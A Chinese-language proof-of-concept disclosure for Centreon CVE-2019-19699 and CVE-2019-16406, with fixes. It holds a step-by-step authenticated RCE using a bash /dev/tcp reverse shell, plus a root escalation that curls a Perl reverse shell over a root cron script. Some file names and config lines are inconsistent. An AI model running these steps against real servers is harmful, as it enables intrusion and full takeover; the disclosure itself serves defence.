概念验证
发现者:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
认证远程代码执行:
首先以 Admin 用户身份登录 Centreon Web 面板。
登录后,导航到 配置 > 命令 > 杂项
继续点击 添加,如下所示。
现在我们创建一个 bash 反弹 shell 作为我们的杂项命令
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
并点击 保存
现在导航到 配置 > 轮询器,然后点击我们当前的 Central 轮询器
这将打开 修改轮询器配置 菜单
在这里可以向下滚动,设置一个 重启后命令
继续选择我们之前创建的 反弹 shell,并点击 保存 按钮
现在可以在本地机器上启动 Netcat 监听器
最后,在 配置 > 轮询器 菜单中点击 导出配置 按钮
在 轮询器 下拉框中选择我们的 Central 轮询器
取消选中 生成配置文件 和 运行监控引擎调试 (-v) 复选框
选中 重启监控引擎 和 生成后命令 复选框
在 方法 下拉框中选择 重启
点击 导出 后,轮询器将重新启动,从而执行我们之前配置的 重启后命令
这时我们的反弹 shell 监听器将获得连接
认证远程代码执行成功!
(这是对 CVE-2019-19699 的漏洞描述)
接下来,我们转向获取 Root 权限
我们将使用 TheCyberGeek 发现的 CVE-2019-16406 来完全攻陷 Centreon <= 19.10 服务器
首先,在我们当前的反弹 shell 终端中生成一个 TTY shell
python -c 'import pty; pty.spawn("/bin/sh")'
现在,通过 cat /etc/cron.d/* 来查看存在哪些 cron 任务
我们看到 centreon_autodisc.pl 是一个 Cron 任务
(已从 30 22 * * * root 改为 * * * * * root,用于 演示目的)
该任务以 Root 身份执行,让我们用 Perl 反弹 shell 替换 掉 centreon_autodisco.pl
我要使用的 Perl shell 可以 在这里 下载
下载反弹 shell,并按照网页上的说明编辑 ip 地址 和 端口 为你自己的
在本地执行 mv 将 perl-reverse-shell.pl 重命名为 centreon_autodisco.pl 文件
接下来,在你选择的端口上启动一个本地的 SimpleHTTPServer
这样,我们就可以通过 curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl 将现有的 centreon_autodisco.pl 替换为我们自己的 木马 Perl 反弹 shell
现在文件已被替换,剩下要做的就是在我们之前配置的端口上启动一个 Netcat 监听器,然后我们将以 Root 用户身份从服务器获得连接!
Root 系统访问成功!
接下来是我们就 权限提升 应如何 缓解 的说明!
19.10 中的当前设置:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
文件权限:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
针对
/usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php 的缓解措施
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
如您所见,现在它由 Root 所有,组 apache 只能 读取和执行 它,centreon 只能 执行 它,因此它 不会影响功能。
示例:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: 权限被拒绝
但 apache 仍然可以 执行 它。
针对 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl 的缓解措施
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
如您所见,现在它由 Root 所有,组 apache 只能 读取和执行 它,centreon 只能 执行 它,因此它 不会影响功能。
示例:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: 权限被拒绝
但 apache 仍然可以 执行 它。
针对 /usr/lib/centreon/plugins/cwrapper_perl 的缓解措施
使用 sudo 命令定义每个用户需要执行的特定脚本。
让 root 拥有每个 perl 脚本,这样 用户无法更改或替换 脚本以进行权限提升。
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
现在用户再也无法更改或替换脚本了!
示例:
cat /etc/sudoers
...
## 允许 root 在任何地方运行任何命令
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---Sudoers 结束---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
用户仍然可以 执行 所需的脚本,并且 apache 或 centreon 无法更改脚本,从而完全消除了权限提升的安全威胁。
如果攻击者现在进入机器,完全控制机器将非常困难甚至不可能,除非发现更多威胁。
对于 Centreon 用户,我们发现的唯一权限提升途径是 perl 的 cwrapper,因此如果 centreon 用户执行了 post-restart 命令,而攻击者获得了 centreon 用户的 shell,那么几乎不会留下更多的攻击面。
感谢阅读